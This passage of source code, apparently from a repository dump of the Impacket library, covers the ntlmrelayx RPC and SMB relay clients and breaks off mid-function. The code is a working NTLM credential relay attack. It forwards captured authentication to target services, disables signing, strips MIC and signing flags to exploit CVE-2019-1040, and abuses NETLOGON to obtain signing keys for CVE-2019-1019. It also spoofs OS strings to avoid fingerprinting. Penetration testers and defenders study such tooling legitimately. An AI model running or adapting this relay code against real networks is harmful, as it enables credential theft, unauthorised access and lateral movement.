RPC_C_AUTHN_WINNT\n        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_CONNECT\n        sec_trailer['auth_ctx_id'] = 79231\n\n        pad = (4 - (len(packet.get_packet()) % 4)) % 4\n        if pad != 0:\n           packet['pduData'] += b'\\xFF' * pad\n           sec_trailer['auth_pad_len'] = pad\n\n        packet['sec_trailer'] = sec_trailer\n        packet['auth_data'] = auth_data\n\n        self._transport.send(packet.get_packet())\n\n        s = self._transport.recv()\n\n        if s != 0:\n            resp = MSRPCHeader(s)\n        else:\n            return 0 #mmm why not None?\n\n        if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:\n            bindResp = MSRPCBindAck(resp.getData())\n        elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:\n            if resp['type'] == rpcrt.MSRPC_FAULT:\n                resp = MSRPCRespHeader(resp.getData())\n                status_code = unpack('<L', resp['pduData'][:4])[0]\n            else:\n                resp = MSRPCBindNak(resp['pduData'])\n                status_code = resp['RejectedReason']\n            if status_code in rpc_status_codes:\n                raise DCERPCException(error_code = status_code)\n            elif status_code in rpc_provider_reason:\n                raise DCERPCException(\"Bind context rejected: %s\" % rpc_provider_reason[status_code])\n            else:\n                raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)\n        else:\n            raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])\n\n        self.set_max_tfrag(bindResp['max_rfrag'])\n\n        return bindResp\n\n    def sendBindType3(self, auth_data):\n        sec_trailer = SEC_TRAILER()\n        sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT\n        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_CONNECT\n        sec_trailer['auth_ctx_id'] = 79231\n\n        auth3 = MSRPCHeader()\n        auth3['type'] = rpcrt.MSRPC_AUTH3\n\n        # pad (4 bytes): Can be set to any arbitrary value when set and MUST be\n        # ignored on receipt. The pad field MUST be immediately followed by a\n        # sec_trailer structure whose layout, location, and alignment are as\n        # specified in section 2.2.2.11\n        auth3['pduData'] = b'    '\n        auth3['sec_trailer'] = sec_trailer\n        auth3['auth_data'] = auth_data\n        auth3['call_id'] = 0\n\n        self._transport.send(auth3.get_packet(), forceWriteAndx = 1)\n\nclass DummyOp(NDRCALL):\n    opnum = 255\n    structure = (\n    )\n\nclass RPCRelayClient(ProtocolClient):\n    PLUGIN_NAME = \"RPC\"\n\n    def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):\n        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n\n        # TODO: support relaying RPC to different endpoints (e.g. DCOM, SpoolSS)\n        # TODO: create a single LOG interface for ntlmrelayx to provide a user info which message/error to which thread belongs\n        self.endpoint = serverConfig.rpc_mode\n\n        if self.endpoint == \"TSCH\":\n            self.endpoint_uuid = tsch.MSRPC_UUID_TSCHS\n        elif self.endpoint == \"ICPR\":\n            self.endpoint_uuid = icpr.MSRPC_UUID_ICPR\n        else:\n            raise NotImplementedError(\"Not implemented!\")\n\n        if self.serverConfig.rpc_use_smb:\n            if self.endpoint == \"TSCH\":\n                self.stringbinding = \"ncacn_np:%s[\\\\pipe\\\\atsvc]\" % target.netloc\n            if self.endpoint == \"ICPR\":\n                self.stringbinding = \"ncacn_np:%s[\\\\pipe\\\\cert]\" % target.netloc\n            else:\n                raise NotImplementedError(\"Not implemented!\")\n        else:\n            LOG.debug(\"Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding\" % (target.netloc, self.endpoint))\n            self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')\n\n        LOG.debug(\"%s stringbinding is %s\" % (self.endpoint, self.stringbinding))\n\n    def initConnection(self):\n        rpctransport = transport.DCERPCTransportFactory(self.stringbinding)\n\n        if self.serverConfig.rpc_use_smb:\n            LOG.info(\"Authenticating to smb://%s:%d with creds provided in cmdline\" % (self.target.netloc, self.serverConfig.rpc_smb_port))\n            rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \\\n                self.serverConfig.smblmhash, self.serverConfig.smbnthash)\n            rpctransport.set_dport(self.serverConfig.rpc_smb_port)\n\n        self.session = MYDCERPC_v5(rpctransport)\n        self.session.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)\n        self.session.connect()\n\n        if self.serverConfig.rpc_use_smb:\n            self.session.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)\n            LOG.info(\"Authentication to smb://%s:%d succeeded\" % (self.target.netloc, self.serverConfig.rpc_smb_port))\n        else:\n            self.session.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)\n        self.session.connect()\n\n        return True\n\n    def sendNegotiate(self, auth_data):\n        bindResp = self.session.sendBindType1(self.endpoint_uuid, auth_data)\n\n        challenge = NTLMAuthChallenge()\n        challenge.fromString(bindResp['auth_data'])\n\n        return challenge\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            auth_data = respToken2['ResponseToken']\n        else:\n            auth_data = authenticateMessageBlob\n\n        self.session.sendBindType3(auth_data)\n\n        try:\n            req = DummyOp()\n            self.session.request(req)\n        except DCERPCException as e:\n            if 'nca_s_op_rng_error' in str(e) or 'RPC_E_INVALID_HEADER' in str(e):\n                return None, STATUS_SUCCESS\n            elif 'rpc_s_access_denied' in str(e):\n                return None, STATUS_ACCESS_DENIED\n            else:\n                LOG.info(\"Unexpected rpc code received from %s: %s\" % (self.stringbinding, str(e)))\n                return None, STATUS_ACCESS_DENIED\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.get_rpc_transport().disconnect()\n            self.session = None\n\n    def keepAlive(self):\n        try:\n            req = DummyOp()\n            self.session.request(req)\n        except DCERPCException as e:\n            if 'nca_s_op_rng_error' not in str(e) or 'RPC_E_INVALID_HEADER' not in str(e):\n                raise\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/smbrelayclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SMB Relay Protocol Client\n#   This is the SMB client which initiates the connection to an\n#   SMB server and relays the credentials to this server.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nimport logging\nimport os\n\nfrom binascii import unhexlify, hexlify\nfrom struct import unpack, pack\nfrom socket import error as socketerror\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5 import nrpc\nfrom impacket.dcerpc.v5 import transport\nfrom impacket.dcerpc.v5.ndr import NULL\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE\nfrom impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \\\n    generateEncryptedSessionKey, hmac_md5\nfrom impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \\\n    SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \\\n    SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters\nfrom impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \\\n    SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \\\n    SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \\\n    SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response\nfrom impacket.smbconnection import SMBConnection, SMB_DIALECT\nfrom impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION\nfrom impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech\nfrom impacket.dcerpc.v5.transport import SMBTransport\nfrom impacket.dcerpc.v5 import scmr\n\nPROTOCOL_CLIENT_CLASS = \"SMBRelayClient\"\n\nclass MYSMB(SMB):\n    def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):\n        self.extendedSecurity = extendedSecurity\n        SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)\n\n    def neg_session(self, negPacket=None):\n        return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)\n\nclass MYSMB3(SMB3):\n    def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None):\n        self.extendedSecurity = extendedSecurity\n        SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect)\n\n    def negotiateSession(self, preferredDialect = None, negSessionResponse = None):\n        # We DON'T want to sign\n        self._Connection['ClientSecurityMode'] = 0\n\n        if self.RequireMessageSigning is True:\n            LOG.error('Signing is required, attack won\\'t work unless using -remove-target / --remove-mic')\n            return\n\n        self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION\n        currentDialect = SMB2_DIALECT_WILDCARD\n\n        # Do we have a negSessionPacket already?\n        if negSessionResponse is not None:\n            # Yes, let's store the dialect answered back\n            negResp = SMB2Negotiate_Response(negSessionResponse['Data'])\n            currentDialect = negResp['DialectRevision']\n\n        if currentDialect == SMB2_DIALECT_WILDCARD:\n            # Still don't know the chosen dialect, let's send our options\n\n            packet = self.SMB_PACKET()\n            packet['Command'] = SMB2_NEGOTIATE\n            negSession = SMB2Negotiate()\n\n            negSession['SecurityMode'] = self._Connection['ClientSecurityMode']\n            negSession['Capabilities'] = self._Connection['Capabilities']\n            negSession['ClientGuid'] = self.ClientGuid\n            if preferredDialect is not None:\n                negSession['Dialects'] = [preferredDialect]\n            else:\n                negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]\n            negSession['DialectCount'] = len(negSession['Dialects'])\n            packet['Data'] = negSession\n\n            packetID = self.sendSMB(packet)\n            ans = self.recvSMB(packetID)\n            if ans.isValidAnswer(STATUS_SUCCESS):\n                negResp = SMB2Negotiate_Response(ans['Data'])\n\n        self._Connection['MaxTransactSize']   = min(0x100000,negResp['MaxTransactSize'])\n        self._Connection['MaxReadSize']       = min(0x100000,negResp['MaxReadSize'])\n        self._Connection['MaxWriteSize']      = min(0x100000,negResp['MaxWriteSize'])\n        self._Connection['ServerGuid']        = negResp['ServerGuid']\n        self._Connection['GSSNegotiateToken'] = negResp['Buffer']\n        self._Connection['Dialect']           = negResp['DialectRevision']\n        if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:\n            LOG.error('Signing is required, attack won\\'t work unless using -remove-target / --remove-mic')\n            return\n        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:\n            self._Connection['SupportsFileLeasing'] = True\n        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:\n            self._Connection['SupportsMultiCredit'] = True\n\n        if self._Connection['Dialect'] == SMB2_DIALECT_30:\n            # Switching to the right packet format\n            self.SMB_PACKET = SMB3Packet\n            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:\n                self._Connection['SupportsDirectoryLeasing'] = True\n            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:\n                self._Connection['SupportsMultiChannel'] = True\n            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:\n                self._Connection['SupportsPersistentHandles'] = True\n            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:\n                self._Connection['SupportsEncryption'] = True\n\n            self._Connection['ServerCapabilities'] = negResp['Capabilities']\n            self._Connection['ServerSecurityMode'] = negResp['SecurityMode']\n\nclass SMBRelayClient(ProtocolClient):\n    PLUGIN_NAME = \"SMB\"\n    def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):\n        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n        self.extendedSecurity = extendedSecurity\n\n        self.machineAccount = None\n        self.machineHashes = None\n        self.sessionData = {}\n\n        self.negotiateMessage = None\n        self.challengeMessage = None\n        self.serverChallenge = None\n\n        self.keepAliveHits = 1\n\n    def netlogonSessionKey(self, authenticateMessageBlob):\n        # Here we will use netlogon to get the signing session key\n        logging.info(\"Connecting to %s NETLOGON service\" % self.serverConfig.domainIp)\n\n        #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n        authenticateMessage = NTLMAuthChallengeResponse()\n        authenticateMessage.fromString(authenticateMessageBlob)\n        _, machineAccount = self.serverConfig.machineAccount.split('/')\n        domainName = authenticateMessage['domain_name'].decode('utf-16le')\n\n        try:\n            serverName = machineAccount[:len(machineAccount)-1]\n        except:\n            # We're in NTLMv1, not supported\n            return STATUS_ACCESS_DENIED\n\n        stringBinding = r'ncacn_np:%s[\\PIPE\\netlogon]' % self.serverConfig.domainIp\n\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n\n        if len(self.serverConfig.machineHashes) > 0:\n            lmhash, nthash = self.serverConfig.machineHashes.split(':')\n        else:\n            lmhash = ''\n            nthash = ''\n\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)\n\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(nrpc.MSRPC_UUID_NRPC)\n        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\\x00', b'12345678')\n\n        serverChallenge = resp['ServerChallenge']\n\n        if self.serverConfig.machineHashes == '':\n            ntHash = None\n        else:\n            ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])\n\n        sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)\n\n        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)\n\n        nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\\x00',\n                                      nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\\x00',\n                                      ppp, 0x600FFFFF)\n\n        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)\n\n        # Now let's try to verify the security blob against the PDC\n\n        request = nrpc.NetrLogonSamLogonWithFlags()\n        request['LogonServer'] = '\\x00'\n        request['ComputerName'] = serverName + '\\x00'\n        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n\n        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[\n            'user_name'].decode('utf-16le')\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''\n        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge\n        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']\n        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']\n\n        authenticator = nrpc.NETLOGON_AUTHENTICATOR()\n        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)\n        authenticator['Timestamp'] = 10\n\n        request['Authenticator'] = authenticator\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['ExtraFlags'] = 0\n        # request.dump()\n        try:\n            resp = dce.request(request)\n            # resp.dump()\n        except DCERPCException as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.error(str(e))\n            return e.get_error_code()\n\n        logging.info(\"%s\\\\%s successfully validated through NETLOGON\" % (\n            domainName, authenticateMessage['user_name'].decode('utf-16le')))\n\n        encryptedSessionKey = authenticateMessage['session_key']\n        if encryptedSessionKey != b'':\n            signingKey = generateEncryptedSessionKey(\n                resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)\n        else:\n            signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']\n\n        logging.info(\"SMB Signing key: %s \" % hexlify(signingKey).decode('utf-8'))\n\n        return STATUS_SUCCESS, signingKey\n\n    def keepAlive(self):\n        # SMB Keep Alive more or less every 5 minutes\n        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):\n            # Time to send a packet\n            # Just a tree connect / disconnect to avoid the session timeout\n            tid = self.session.connectTree('IPC$')\n            self.session.disconnectTree(tid)\n            self.keepAliveHits = 1\n        else:\n            self.keepAliveHits +=1\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.close()\n            self.session = None\n\n    def initConnection(self):\n        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)\n                                     #,preferredDialect=SMB_DIALECT)\n        if self.serverConfig.smb2support is True:\n            data = '\\x02NT LM 0.12\\x00\\x02SMB 2.002\\x00\\x02SMB 2.???\\x00'\n        else:\n            data = '\\x02NT LM 0.12\\x00'\n\n        if self.extendedSecurity is True:\n            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES\n        else:\n            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES\n        try:\n            packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,\n                                                  flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,\n                             flags2=flags2, data=data)\n        except Exception as e:\n            if not self.serverConfig.smb2support:\n                LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')\n            else:\n                LOG.error('SMBClient error: Connection was reset')\n            return False\n        if packet[0:1] == b'\\xfe':\n            preferredDialect = None\n            # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21\n            if self.serverConfig.remove_target:\n                preferredDialect = SMB2_DIALECT_21\n            smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),\n                               negPacket=packet, preferredDialect=preferredDialect)\n        else:\n            # Answer is SMB packet, sticking to SMBv1\n            smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),\n                              negPacket=packet)\n\n        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,\n                                     existingConnection=smbClient, manualNegotiate=True)\n\n        return True\n\n    def setUid(self,uid):\n        self._uid = uid\n\n    def sendNegotiate(self, negotiateMessage):\n        negoMessage = NTLMAuthNegotiate()\n        negoMessage.fromString(negotiateMessage)\n        # When exploiting CVE-2019-1040, remove flags\n        if self.serverConfig.remove_mic:\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION\n\n        negotiateMessage = negoMessage.getData()\n\n        challenge = NTLMAuthChallenge()\n        if self.session.getDialect() == SMB_DIALECT:\n            challenge.fromString(self.sendNegotiatev1(negotiateMessage))\n        else:\n            challenge.fromString(self.sendNegotiatev2(negotiateMessage))\n\n        self.negotiateMessage = negotiateMessage\n        self.challengeMessage = challenge.getData()\n\n        # Store the Challenge in our session data dict. It will be used by the SMB Proxy\n        self.sessionData['CHALLENGE_MESSAGE'] = challenge\n        self.serverChallenge = challenge['challenge']\n\n        return challenge\n\n    def sendNegotiatev2(self, negotiateMessage):\n        v2client = self.session.getSMBServer()\n\n        sessionSetup = SMB2SessionSetup()\n        sessionSetup['Flags'] = 0\n\n        sessionSetup['SecurityBufferLength'] = len(negotiateMessage)\n        sessionSetup['Buffer'] = negotiateMessage\n\n        packet = v2client.SMB_PACKET()\n        packet['Command'] = SMB2_SESSION_SETUP\n        packet['Data'] = sessionSetup\n\n        packetID = v2client.sendSMB(packet)\n        ans = v2client.recvSMB(packetID)\n        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):\n            v2client._Session['SessionID'] = ans['SessionID']\n            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])\n            return sessionSetupResponse['Buffer']\n\n        return False\n\n    def sendNegotiatev1(self, negotiateMessage):\n        v1client = self.session.getSMBServer()\n\n        smb = NewSMBPacket()\n        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS\n        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY\n        # Are we required to sign SMB? If so we do it, if not we skip it\n        if v1client.is_signing_required():\n           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE\n\n        # Just in case, clear the Unicode Flag\n        flags2 = v1client.get_flags ()[1]\n        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))\n\n        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)\n        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()\n        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()\n\n        sessionSetup['Parameters']['MaxBufferSize']        = 65535\n        sessionSetup['Parameters']['MaxMpxCount']          = 2\n        sessionSetup['Parameters']['VcNumber']             = 1\n        sessionSetup['Parameters']['SessionKey']           = 0\n        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE\n\n        # Let's build a NegTokenInit with the NTLMSSP\n        # TODO: In the future we should be able to choose different providers\n\n        #blob = SPNEGO_NegTokenInit()\n\n        # NTLMSSP\n        #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n        #blob['MechToken'] = negotiateMessage\n\n        #sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)\n        sessionSetup['Parameters']['SecurityBlobLength']  = len(negotiateMessage)\n        sessionSetup['Parameters'].getData()\n        #sessionSetup['Data']['SecurityBlob'] = blob.getData()\n        sessionSetup['Data']['SecurityBlob'] = negotiateMessage\n\n        # Fake Data here, don't want to get us fingerprinted\n        sessionSetup['Data']['NativeOS']      = 'Unix'\n        sessionSetup['Data']['NativeLanMan']  = 'Samba'\n\n        smb.addCommand(sessionSetup)\n        v1client.sendSMB(smb)\n        smb = v1client.recvSMB()\n\n        try:\n            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)\n        except Exception:\n            LOG.error(\"SessionSetup Error!\")\n            raise\n        else:\n            # We will need to use this uid field for all future requests/responses\n            v1client.set_uid(smb['Uid'])\n\n            # Now we have to extract the blob to continue the auth process\n            sessionResponse   = SMBCommand(smb['Data'][0])\n            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])\n            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])\n            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']\n            sessionData.fromString(sessionResponse['Data'])\n            #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])\n\n            #return respToken['ResponseToken']\n            return sessionData['SecurityBlob']\n\n    def sendStandardSecurityAuth(self, sessionSetupData):\n        v1client = self.session.getSMBServer()\n        flags2 = v1client.get_flags()[1]\n        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))\n        if sessionSetupData['Account'] != '':\n            smb = NewSMBPacket()\n            smb['Flags1'] = 8\n\n            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)\n            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()\n            sessionSetup['Data'] = SMBSessionSetupAndX_Data()\n\n            sessionSetup['Parameters']['MaxBuffer'] = 65535\n            sessionSetup['Parameters']['MaxMpxCount'] = 2\n            sessionSetup['Parameters']['VCNumber'] = os.getpid()\n            sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']\n            sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])\n            sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])\n            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE\n\n            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']\n            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']\n            sessionSetup['Data']['Account'] = sessionSetupData['Account']\n            sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']\n            sessionSetup['Data']['NativeOS'] = 'Unix'\n            sessionSetup['Data']['NativeLanMan'] = 'Samba'\n\n            smb.addCommand(sessionSetup)\n\n            v1client.sendSMB(smb)\n            smb = v1client.recvSMB()\n            try:\n                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)\n            except:\n                return None, STATUS_LOGON_FAILURE\n            else:\n                v1client.set_uid(smb['Uid'])\n                return smb, STATUS_SUCCESS\n        else:\n            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials\n            clientResponse = None\n            errorCode = STATUS_ACCESS_DENIED\n\n        return clientResponse, errorCode\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n\n        # When exploiting CVE-2019-1040, remove flags\n        if self.serverConfig.remove_mic:\n            authMessage = NTLMAuthChallengeResponse()\n            authMessage.fromString(authenticateMessageBlob)\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION\n            authMessage['MIC'] = b''\n            authMessage['MICLen'] = 0\n            authMessage['Version'] = b''\n            authMessage['VersionLen'] = 0\n            authenticateMessageBlob = authMessage.getData()\n\n        #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n        #    # We need to unwrap SPNEGO and get the NTLMSSP\n        #    respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)\n        #    authData = respToken['ResponseToken']\n        #else:\n        authData = authenticateMessageBlob\n\n        signingKey = None\n        if self.serverConfig.remove_target:\n            # Trying to exploit CVE-2019-1019\n            # Discovery and Implementation by @simakov_marina and @YaronZi\n            # respToken2 = SPNEGO_NegTokenResp(authData)\n            authenticateMessageBlob = authData\n\n            errorCode, signingKey = self.netlogonSessionKey(authData)\n\n            # Recalculate MIC\n            res = NTLMAuthChallengeResponse()\n            res.fromString(authenticateMessageBlob)\n\n            